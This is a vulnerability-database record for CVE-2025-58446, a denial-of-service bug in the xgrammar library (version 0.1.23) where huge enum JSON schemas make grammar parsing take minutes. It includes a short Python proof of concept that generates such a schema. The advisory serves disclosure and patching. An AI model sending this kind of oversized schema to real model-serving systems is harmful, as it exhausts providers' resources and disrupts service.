{"id":"CVE-2025-58446","aliases":["GHSA-9q5r-wfvf-rr7f","PYSEC-2026-2055"],"title":"xgrammar vulnerable to denial of service by huge enum grammar","summary":"xgrammar vulnerable to denial of service by huge enum grammar","severity":"medium","vendor":"xgrammar","product":"xgrammar","ecosystem":"pip","affected":["xgrammar >= 0.1.23, < 0.1.24"],"patched":["xgrammar 0.1.24"],"published":"2025-09-05","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:28.281780833Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-9q5r-wfvf-rr7f","references":[{"url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58446"},{"url":"https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"},{"url":"https://github.com/mlc-ai/xgrammar"}],"tags":["osv","pip"],"epss":0.00535,"epssPercentile":0.44098,"ingestedAt":"2026-07-08T18:25:48.068Z","slug":"CVE-2025-58446","body":"## Overview\n\n### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n    enum =  {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n    schema = {\n        \"definitions\": {\n            \"colorEnum\": enum\n        },\n        \"type\": \"object\",\n        \"properties\": {\n            \"color1\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color2\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color3\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color4\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color5\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color6\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color7\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color8\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            }\n        },\n        \"required\": [\n                \"color1\",\n                \"color2\"\n         ]\n    }\n    return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n    grammar = xgr.Grammar.from_json_schema(\n        json.dumps(schema),\n        strict_mode=True\n    )\n    return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS\n\n## Affected packages\n\n- `xgrammar >= 0.1.23, < 0.1.24`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `xgrammar 0.1.24`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}